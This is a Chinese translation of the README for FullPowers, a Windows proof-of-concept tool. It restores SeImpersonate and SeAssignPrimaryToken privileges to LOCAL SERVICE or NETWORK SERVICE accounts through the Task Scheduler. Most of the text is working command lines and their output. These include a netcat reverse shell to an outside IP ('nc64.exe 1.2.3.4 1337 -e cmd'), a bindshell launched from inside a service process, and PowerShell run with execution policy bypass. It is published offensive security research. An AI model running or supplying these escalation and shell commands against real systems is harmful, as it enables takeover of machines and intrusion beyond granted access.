全力
FullPowers
FullPowers是我制作的一个概念验证工具,用于自动恢复服务帐户的默认权限集,包括SeAssignPrimaryToken和SeImpersonate 。
在 Windows 上,某些作为LOCAL SERVICE
或NETWORK SERVICE
执行的服务被配置为以一组受限的权限运行。因此,即使服务受到损害,您也不会获得黄金模拟权限,并且权限升级到LOCAL SYSTEM
应该更加复杂。但是,我发现,当您创建计划任务时,任务计划程序服务创建的新进程具有关联用户帐户的所有默认权限( SeImpersonate除外)。因此,通过一些令牌操作,您可以生成一个具有所有缺失权限的新进程。
用法
LOCAL SERVICE
或NETWORK SERVICE
执行。
您可以使用-h
选项检查帮助消息。
c:TOOLS>FullPowers -h FullPowers v0.1 (by @itm4n) This tool leverages the Task Scheduler to recover the default privilege set of a service account. For more information: https://itm4n.github.io/localservice-privileges/ Optional arguments: -v Verbose mode, used for debugging essentially -cCustom command line to execute (default is 'C:WindowsSystem32cmd.exe') -x Try to get the extended set of privileges (might fail with NETWORK SERVICE) -z Non-interactive, create a new process and exit (default is 'interact with the new process')
c:TOOLS>FullPowers [+] Successfully created scheduled task. PID=9976 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>
c:TOOLS>FullPowers -c "powershell -ep Bypass" [+] Successfully created scheduled task. PID=9028 [+] CreateProcessAsUser() OK Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. Try the new cross-platform PowerShell https://aka.ms/pscore6 PS C:WINDOWSsystem32> Get-ExecutionPolicy Bypass
c:TOOLS>FullPowers -c "C:TOOLSnc64.exe 1.2.3.4 1337 -e cmd" -z [+] Successfully created scheduled task. PID=5482 [+] CreateProcessAsUser() OK
您想亲自测试这个 PoC 吗?那太棒了!以下是一些帮助您入门的简单说明。
总体思路是从现有服务的进程启动bindshell,连接到它,然后运行可执行文件。
您将需要 2 个第三方工具:netcat 和 RunFromProcess。
选择权限有限的服务,例如: upnphost
。
打开任务管理器,进入服务选项卡并获取相应进程的PID 。
使用以下命令以管理员身份启动bindshell:
C:TOOLS>RunFromProcess-x64.exeC:TOOLSnc64.exe -l -p 9001 -e cmd
使用以下命令连接到bindshell:
C:TOOLS>nc64.exe 127.0.0.1 9001 Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ======================= ======================== ======= SeChangeNotifyPrivilege Bypass traverse checking Enabled SeCreateGlobalPrivilege Create global objects Enabled
我们可以看到当前进程没有模拟权限。现在运行 PoC...
c:TOOLS>FullPowers [+] Started dummy thread with id 5568 [+] Successfully created scheduled task. [+] Got new token! Privilege count: 7 [+] CreateProcessAsUser() OK Microsoft Windows [Version 10.0.19041.84] (c) 2019 Microsoft Corporation. All rights reserved. C:WINDOWSsystem32>whoami nt authoritylocal service C:WINDOWSsystem32>whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======= SeAssignPrimaryTokenPrivilege Replace a process level token Enabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled SeAuditPrivilege Generate security audits Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
您现在应该拥有一个具有模拟权限的shell!